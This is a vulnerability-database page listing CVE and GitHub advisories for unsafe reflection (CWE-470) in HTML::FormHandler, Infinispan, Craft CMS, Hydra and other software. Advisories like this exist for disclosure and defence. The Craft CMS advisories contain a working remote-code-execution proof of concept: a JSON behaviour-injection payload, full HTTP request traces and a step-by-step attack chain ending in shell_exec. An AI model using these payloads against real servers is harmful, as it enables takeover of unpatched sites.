Common Weakness Enumeration
CWE-470
AllowedUse of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Abstraction: Base · Status: Draft
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
164 vulnerabilities reference this CWE, most recent first.
CVE-2022-4993 (GCVE-0-2022-4993)
Vulnerability from cvelistv5 – Published: 2026-08-13 16:27 – Updated: 2026-09-08 20:07
VLAI
EPSS
VEX
Title
HTML::FormHandler versions before 0.410000 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template
Summary
HTML::FormHandler versions before 0.410000 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template.
add_error hands its first argument to the language handle as the Locale::Maketext message key, and the default handle's lexicon sets `_AUTO`, so a string that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. In a bracket group the first token names a method called on the language handle and the remaining tokens are its arguments.
Three kinds of text the library did not author reach that position. _apply_actions installs a `$SIG{__WARN__}` handler that stores the warning text in `$error_message`, and a captured warning survives a successful action, so a field carrying a numeric transform turns `Argument "[sprintf,%50000000d,0]" isn't numeric` into the template; a warning quotes the submitted value verbatim, so the group is well formed and dispatches. `$error_message ||= $tobj->validate($new_value)` takes a type constraint's own failure message, which renders the rejected value through a partial dumper in bracket and comma form (Devel::PartialDump when Moose can load it, Type::Tiny's own dumper always), so a field with `apply => [ Str ]` given a parameter sent more than once, which arrives as an array, gets `Reference ["a","b"] did not pass type constraint "Str"` as its template, from a request that carries no bracket character of its own. A coercion or transform exception reaches it the same way. Beyond those, a validator whose message contains the field value puts that value in the template directly, and add_error replaces the message list with the contents of an arrayref first argument (`@message = @{$message[0]} if ref $message[0] eq 'ARRAY'`), so a value arriving as an array fills the argument slots from the same request as well.
A malformed group such as `[0]` makes the compile croak, and HTML::FormHandler::I18N::maketext and add_error each re-raise that as a die, so process() throws. A well formed group naming sprintf reaches CORE::sprintf with an attacker chosen field width. Any caller that applies a type constraint or a transform to an untrusted field, or whose validator passes an untrusted field value to add_error, can be made to throw an unhandled exception out of process(), or to allocate an arbitrary amount of memory in one request, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The dumped type constraint message is bounded to the exception, because both dumpers quote non-numeric elements so the method slot is never an attacker chosen name. The built-in messages pass fixed templates with the value in an argument slot, where it stays inert, and the built-in field types attach explicit message callbacks, so neither is affected.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 11:14 UTC
CWE
Assigner
References
7 references
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CVE-2020-7857 (GCVE-0-2020-7857)
Vulnerability from cvelistv5 – Published: 2021-04-20 19:56 – Updated: 2024-08-04 09:41
VLAI
EPSS
VEX
Summary
A vulnerability of XPlatform could allow an unauthenticated attacker to execute arbitrary command. This vulnerability exists due to insufficient validation of improper classes. This issue affects: Tobesoft XPlatform versions prior to 9.2.2.280.
Severity
7.5 (High)
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.boho.or.kr/krcert/secNoticeView.do?bu… | x_refsource_MISC |
Impacted products
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CVE-2019-10174 (GCVE-0-2019-10174)
Vulnerability from cvelistv5 – Published: 2019-11-25 10:26 – Updated: 2024-08-04 22:10
VLAI
EPSS
VEX
Summary
A vulnerability was found in Infinispan such that the invokeAccessibly method from the public class ReflectionUtil allows any application class to invoke private methods in any class with Infinispan's privileges. The attacker can use reflection to introduce new, malicious behavior into the application.
Severity
7.5 (High)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
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| https://security.netapp.com/advisory/ntap-2022021… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| [UNKNOWN] | infinispan |
Affected:
10.0.0.Final
Affected: 9.4.17.Final |
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CVE-2019-3834 (GCVE-0-2019-3834)
Vulnerability from cvelistv5 – Published: 2019-10-03 13:31 – Updated: 2024-08-04 19:19
VLAI
EPSS
VEX
Summary
It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.
Severity
5.6 (Medium)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
Impacted products
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CVE-2018-25239 (GCVE-0-2018-25239)
Vulnerability from cvelistv5 – Published: 2026-04-04 13:51 – Updated: 2026-04-06 16:42
VLAI
EPSS
VEX
Title
Smart VPN 1.1.3.0 Denial of Service via Search
Summary
Smart VPN 1.1.3.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting oversized input through the search interface. Attackers can paste a buffer of 2100 characters into the top right search bar to trigger an unhandled exception that crashes the application.
Severity
6.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-06 16:42 UTC
CWE
- CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46272 | exploit |
| https://www.microsoft.com/store/productId/9NH1G93D4HKR | product |
| https://www.vulncheck.com/advisories/smart-vpn-de… | third-party-advisory |
Date Public
2018-01-28 00:00
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GHSA-255J-QW47-WJH5
Vulnerability from github – Published: 2026-01-05 18:50 – Updated: 2026-01-06 15:52
VLAI
Summary
Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
Details
Note that attackers must have administrator access to the Craft Control Panel for this to work.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Resources:
https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef
https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7
https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
Summary
This was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (5.6.0) version of Craft CMS.
Leveraging a legitimate but maliciously crafted Yii Behavior class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted Behavior is attached to a Yii Component, and an event is also fired on the tainted Component.
Details
This vulnerability is inspired by CVE-2024-4990 but differs because a legitimate Yii Behavior class is used to abuse the magic __set() and __get() methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for CVE-2024-4990 and the related CVE-2024-58136.
Using the as <behavior> syntax in JSON POST input, it’s possible to attach Behavior classes to Yii Components, which was the crux of the vulnerability identified in CVE-2024-4990. Fixes for that vulnerability and the related CVE-2024-58136 ensured that only classes of type Behavior could be attached to a Component. Craft CMS also implemented additional logic to prevent arbitrary Behavior classes from being attached to the vulnerable Component.
A new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted Behavior class, namely the yii\behaviors\AttributeTypecastBehavior. Attaching a Behavior of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted Component.
Using a wildcard event listener (specified as on * in JSON input) allows the attacker to catch any event called on the tainted Component and redirect the flow of control to call self::beforeSave of the AttributeTypecastBehavior, triggering the attacker-defined callable and resulting in RCE.
See the commented payload below:
{
"as xxx": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] // Attacker defined callable
},
"typecastBeforeSave": "touch /tmp/touch" // Argument for the callable
}
]
},
"on *": "self::beforeSave" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above
}
This was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected: * /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings * /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview
PoC
- Install Craft CMS via Composer:
$ composer create-project "craftcms/craft" app
- Use the built-in server to launch Craft CMS:
$ ./craft serve 127.0.0.1:9090
- The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:
/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings
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Accept-Encoding: gzip, deflate, br
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{"fieldLayoutConfig":{
"as xxx": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
},
"typecastBeforeSave": "touch /tmp/touch222"
}
]
},
"on *": "self::beforeSave"
},"cardElements":[],"showThumb":null,"thumbAlignment":"end"}
- Check the filesystem to confirm the creation of the two files in
/tmpand hence confirm RCE:
$ ls -la /tmp/
...
-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111
-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222
Impact
An attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.20"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.16"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68455"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T18:50:14Z",
"nvd_published_at": "2026-01-05T22:15:52Z",
"severity": "HIGH"
},
"details": "Note that attackers must have administrator access to the Craft Control Panel for this to work.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nResources:\n\nhttps://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef\n\nhttps://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7\n\nhttps://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04\n\n### Summary\n\nThis was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS.\n\nLeveraging a legitimate but maliciously crafted Yii `Behavior` class, it\u2019s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`.\n\n### Details\nThis vulnerability is inspired by `CVE-2024-4990` but differs because a legitimate Yii `Behavior` class is used to abuse the magic `__set()` and `__get()` methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for `CVE-2024-4990` and the related `CVE-2024-58136`.\n\nUsing the `as \u003cbehavior\u003e` syntax in JSON POST input, it\u2019s possible to [attach](https://www.yiiframework.com/doc/guide/2.0/en/concept-behaviors#attaching-behaviors) `Behavior` classes to Yii `Components`, which was the crux of the vulnerability identified in `CVE-2024-4990`. Fixes for that vulnerability and the related `CVE-2024-58136` ensured that only classes of type `Behavior` could be attached to a `Component`. Craft CMS also implemented additional logic to prevent arbitrary `Behavior` classes from being attached to the vulnerable `Component`.\n\nA new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted `Behavior` class, namely the `yii\\behaviors\\AttributeTypecastBehavior`. Attaching a `Behavior` of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted `Component`.\n\nUsing a [wildcard](https://www.yiiframework.com/doc/guide/2.0/en/concept-events#wildcard-events) event listener (specified as `on *` in JSON input) allows the attacker to catch any event called on the tainted `Component` and redirect the flow of control to call `self::beforeSave` of the `AttributeTypecastBehavior`, triggering the attacker-defined callable and resulting in RCE.\n\nSee the commented payload below:\n\n```json\n{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"] // Attacker defined callable\n },\n \"typecastBeforeSave\": \"touch /tmp/touch\" // Argument for the callable\n }\n ]\n },\n \"on *\": \"self::beforeSave\" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above\n}\n```\n\nThis was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected:\n* /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\n* /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview\n\n### PoC\n* Install Craft CMS via Composer:\n```\n$ composer create-project \"craftcms/craft\" app\n```\n* Use the built-in server to launch Craft CMS:\n```\n$ ./craft serve 127.0.0.1:9090\n```\n* The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:\n\n**/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\u0026v=1763562868146 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; 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CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"fieldLayoutConfig\":{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n },\n \"typecastBeforeSave\": \"touch /tmp/touch222\"\n }\n ]\n },\n \"on *\": \"self::beforeSave\"\n},\"cardElements\":[],\"showThumb\":null,\"thumbAlignment\":\"end\"}\n```\n* Check the filesystem to confirm the creation of the two files in `/tmp` and hence confirm RCE:\n```\n$ ls -la /tmp/\n...\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111\n-rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222\n```\n\n### Impact\n\nAn attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.",
"id": "GHSA-255j-qw47-wjh5",
"modified": "2026-01-06T15:52:18Z",
"published": "2026-01-05T18:50:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68455"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior"
}
GHSA-2CP2-2R3C-7P7R
Vulnerability from github – Published: 2026-08-21 20:57 – Updated: 2026-08-21 20:57
VLAI
Summary
Hydra: hydra.utils.instantiate with untrusted config can lead to code execution
Details
Summary
hydra.utils.instantiate() resolves and calls Python objects from config. If an
application passes untrusted config to instantiate(), an attacker who controls
_target_ and its arguments can cause arbitrary code execution in the consuming
process.
Hydra is not a network service. Exploitation requires a consuming application,
library, or user workflow to load attacker-controlled config, CLI overrides, or
model metadata and pass it to hydra.utils.instantiate().
Details
Hydra's instantiate API is designed to construct objects and call functions from configuration. For example:
component:
_target_: package.module.Class
arg: value
When this config is passed to hydra.utils.instantiate(), Hydra resolves
_target_ and calls it with the provided arguments.
This is intended for trusted application configuration. However, if untrusted
input controls _target_, the config becomes a callable-selection mechanism. A
malicious config can select a callable capable of executing code or commands and
provide attacker-controlled arguments.
This issue is the same general class of problem discussed by Unit 42 for downstream AI/ML libraries such as NVIDIA NeMo, where untrusted model metadata was passed into Hydra instantiate:
https://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/
Hydra 1.3.4 includes a blacklist for some dangerous _target_ values. That
blacklist is defense-in-depth and is not a complete security boundary. The
blacklist is not present in the released hydra-core 1.3.3 package, so this
issue should not be described as a bypass of a released 1.3.3 blacklist.
Impact
A successful attack can execute code in the process that calls
hydra.utils.instantiate(). The impact is limited to the privileges and
environment of that process.
Potential impact includes:
- Reading files, credentials, environment variables, or data accessible to the process
- Modifying files, outputs, checkpoints, or application state writable by the process
- Terminating or disrupting the process
Affected Usage
Applications and libraries are affected when they pass untrusted or semi-trusted
config, model metadata, CLI overrides, or other externally controlled data to
hydra.utils.instantiate() without constraining which targets may be
instantiated.
Trusted application-owned configuration is not affected in the same way.
Remediation
Hydra 1.3.4 hardens the existing behavior by adding a blacklist of obvious dangerous targets. It is a substantial security improvement, and users remaining on the 1.3 release line should upgrade to 1.3.4 or a newer version.
The unreleased Hydra 1.4 development line uses an allowlist-based instantiation model that fully addresses this vulnerability class. The allowlist must come from trusted application code or another trusted channel, not from the untrusted config being instantiated.
Applications that consume untrusted or semi-trusted config should not pass it
directly to hydra.utils.instantiate(). They should validate _target_ values
against a trusted allowlist before instantiation.
Severity
7.8 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.3"
},
"package": {
"ecosystem": "PyPI",
"name": "hydra-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-68508"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:57:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`hydra.utils.instantiate()` resolves and calls Python objects from config. If an\napplication passes untrusted config to `instantiate()`, an attacker who controls\n`_target_` and its arguments can cause arbitrary code execution in the consuming\nprocess.\n\nHydra is not a network service. Exploitation requires a consuming application,\nlibrary, or user workflow to load attacker-controlled config, CLI overrides, or\nmodel metadata and pass it to `hydra.utils.instantiate()`.\n\n## Details\n\nHydra\u0027s instantiate API is designed to construct objects and call functions from\nconfiguration. For example:\n\n```yaml\ncomponent:\n _target_: package.module.Class\n arg: value\n```\n\nWhen this config is passed to `hydra.utils.instantiate()`, Hydra resolves\n`_target_` and calls it with the provided arguments.\n\nThis is intended for trusted application configuration. However, if untrusted\ninput controls `_target_`, the config becomes a callable-selection mechanism. A\nmalicious config can select a callable capable of executing code or commands and\nprovide attacker-controlled arguments.\n\nThis issue is the same general class of problem discussed by Unit 42 for\ndownstream AI/ML libraries such as NVIDIA NeMo, where untrusted model metadata\nwas passed into Hydra instantiate:\n\nhttps://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/\n\nHydra 1.3.4 includes a blacklist for some dangerous `_target_` values. That\nblacklist is defense-in-depth and is not a complete security boundary. The\nblacklist is not present in the released `hydra-core` 1.3.3 package, so this\nissue should not be described as a bypass of a released 1.3.3 blacklist.\n\n## Impact\n\nA successful attack can execute code in the process that calls\n`hydra.utils.instantiate()`. The impact is limited to the privileges and\nenvironment of that process.\n\nPotential impact includes:\n\n- Reading files, credentials, environment variables, or data accessible to the\n process\n- Modifying files, outputs, checkpoints, or application state writable by the\n process\n- Terminating or disrupting the process\n\n## Affected Usage\n\nApplications and libraries are affected when they pass untrusted or semi-trusted\nconfig, model metadata, CLI overrides, or other externally controlled data to\n`hydra.utils.instantiate()` without constraining which targets may be\ninstantiated.\n\nTrusted application-owned configuration is not affected in the same way.\n\n## Remediation\n\nHydra 1.3.4 hardens the existing behavior by adding a blacklist of obvious\ndangerous targets. It is a substantial security improvement, and users remaining\non the 1.3 release line should upgrade to 1.3.4 or a newer version.\n\nThe unreleased Hydra 1.4 development line uses an allowlist-based instantiation\nmodel that fully addresses this vulnerability class. The allowlist must come\nfrom trusted application code or another trusted channel, not from the untrusted\nconfig being instantiated.\n\nApplications that consume untrusted or semi-trusted config should not pass it\ndirectly to `hydra.utils.instantiate()`. They should validate `_target_` values\nagainst a trusted allowlist before instantiation.",
"id": "GHSA-2cp2-2r3c-7p7r",
"modified": "2026-08-21T20:57:31Z",
"published": "2026-08-21T20:57:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hydra-ecosystem/hydra/security/advisories/GHSA-2cp2-2r3c-7p7r"
},
{
"type": "WEB",
"url": "https://github.com/hydra-ecosystem/hydra/issues/3259"
},
{
"type": "WEB",
"url": "https://github.com/hydra-ecosystem/hydra/pull/3261"
},
{
"type": "WEB",
"url": "https://github.com/hydra-ecosystem/hydra/commit/7faad0dcedfb4c0a364aa1067c0080fd6fdf8dca"
},
{
"type": "PACKAGE",
"url": "https://github.com/hydra-ecosystem/hydra"
},
{
"type": "WEB",
"url": "https://github.com/hydra-ecosystem/hydra/releases/tag/v1.3.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hydra: hydra.utils.instantiate with untrusted config can lead to code execution"
}
GHSA-2FPH-6V5W-89HH
Vulnerability from github – Published: 2026-03-24 16:50 – Updated: 2026-03-25 20:59
VLAI
Summary
Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior
Details
Summary
A Remote Code Execution (RCE) vulnerability exists in Craft CMS 5.x and 4.x that bypasses the security fixes for GHSA-7jx7-3846-m7w7 and GHSA-255j-qw47-wjh5. This vulnerability can be exploited by any authenticated user with control panel access.
The existing patches add cleanseConfig() to assembleLayoutFromPost() and various FieldsController actions to strip Yii2 behavior/event injection keys (as and on prefixed keys). However, the fieldLayouts parameter in ElementIndexesController::actionFilterHud() is passed directly to FieldLayout::createFromConfig() without any sanitization, enabling the same behavior injection attack chain.
Impact
- Attack Type: Remote Code Execution (RCE)
- Authentication Required: Authenticated user with control panel access (
accessCppermission)
Vulnerability Details
Root Cause
In ElementIndexesController::actionFilterHud() (line 493-494), the fieldLayouts body parameter is passed to FieldLayout::createFromConfig() without cleanseConfig():
// ElementIndexesController.php:485-494
if ($conditionConfig) {
$conditionConfig = Component::cleanseConfig($conditionConfig); // conditionConfig IS cleansed
$condition = $conditionsService->createCondition($conditionConfig);
} else {
$condition = $this->elementType()::createCondition();
}
if (!empty($fieldLayouts)) {
// fieldLayouts is NOT cleansed!
$condition->setFieldLayouts(array_map(
fn(array $config) => FieldLayout::createFromConfig($config),
$fieldLayouts
));
}
Note the inconsistency: conditionConfig is sanitized with cleanseConfig(), but fieldLayouts is not.
Attack Chain
- Send a
fieldLayoutsarray containing config with"as <name>"prefixed keys FieldLayout::createFromConfig($config)->new self($config)->Model::__construct($config)App::configure($this, $config)processes each key"as rce"key ->Component::__set("as rce", $value)->Yii::createObject($value)-> instantiatesAttributeTypecastBehaviorand attaches it to the FieldLayout"on *"key -> registers a wildcard event handlerparent::__construct()->init()->setTabs([])->getAvailableNativeFields()->trigger(EVENT_DEFINE_NATIVE_FIELDS)- The wildcard handler fires ->
AttributeTypecastBehavior::beforeSave()->typecastAttributes() $this->owner->typecastBeforeSave-> resolved viaComponent::__get()-> returns the command string from the behavior's own propertycall_user_func([ConsoleProcessus::class, 'execute'], $command)->shell_exec($command)
Prerequisites
- A user account with control panel access
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.9.12"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.6.0"
},
{
"fixed": "5.9.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33157"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T16:50:42Z",
"nvd_published_at": "2026-03-24T18:16:09Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in Craft CMS 5.x and 4.x that bypasses the security fixes for GHSA-7jx7-3846-m7w7 and GHSA-255j-qw47-wjh5. This vulnerability can be exploited by any authenticated user with control panel access.\n\nThe existing patches add `cleanseConfig()` to `assembleLayoutFromPost()` and various `FieldsController` actions to strip Yii2 behavior/event injection keys (`as ` and `on ` prefixed keys). However, the `fieldLayouts` parameter in `ElementIndexesController::actionFilterHud()` is passed directly to `FieldLayout::createFromConfig()` without any sanitization, enabling the same behavior injection attack chain.\n\n## Impact\n\n- **Attack Type**: Remote Code Execution (RCE)\n- **Authentication Required**: Authenticated user with control panel access (`accessCp` permission)\n\n## Vulnerability Details\n\n### Root Cause\n\nIn `ElementIndexesController::actionFilterHud()` (line 493-494), the `fieldLayouts` body parameter is passed to `FieldLayout::createFromConfig()` without `cleanseConfig()`:\n\n```php\n// ElementIndexesController.php:485-494\nif ($conditionConfig) {\n $conditionConfig = Component::cleanseConfig($conditionConfig); // conditionConfig IS cleansed\n $condition = $conditionsService-\u003ecreateCondition($conditionConfig);\n} else {\n $condition = $this-\u003eelementType()::createCondition();\n}\n\nif (!empty($fieldLayouts)) {\n // fieldLayouts is NOT cleansed!\n $condition-\u003esetFieldLayouts(array_map(\n fn(array $config) =\u003e FieldLayout::createFromConfig($config),\n $fieldLayouts\n ));\n}\n```\n\nNote the inconsistency: `conditionConfig` is sanitized with `cleanseConfig()`, but `fieldLayouts` is not.\n\n### Attack Chain\n\n1. Send a `fieldLayouts` array containing config with `\"as \u003cname\u003e\"` prefixed keys\n2. `FieldLayout::createFromConfig($config)` -\u003e `new self($config)` -\u003e `Model::__construct($config)`\n3. `App::configure($this, $config)` processes each key\n4. `\"as rce\"` key -\u003e `Component::__set(\"as rce\", $value)` -\u003e `Yii::createObject($value)` -\u003e instantiates `AttributeTypecastBehavior` and attaches it to the FieldLayout\n5. `\"on *\"` key -\u003e registers a wildcard event handler\n6. `parent::__construct()` -\u003e `init()` -\u003e `setTabs([])` -\u003e `getAvailableNativeFields()` -\u003e `trigger(EVENT_DEFINE_NATIVE_FIELDS)`\n7. The wildcard handler fires -\u003e `AttributeTypecastBehavior::beforeSave()` -\u003e `typecastAttributes()`\n8. `$this-\u003eowner-\u003etypecastBeforeSave` -\u003e resolved via `Component::__get()` -\u003e returns the command string from the behavior\u0027s own property\n9. `call_user_func([ConsoleProcessus::class, \u0027execute\u0027], $command)` -\u003e `shell_exec($command)`\n\n### Prerequisites\n\n- A user account with control panel access",
"id": "GHSA-2fph-6v5w-89hh",
"modified": "2026-03-25T20:59:38Z",
"published": "2026-03-24T16:50:42Z",
"references": [
{
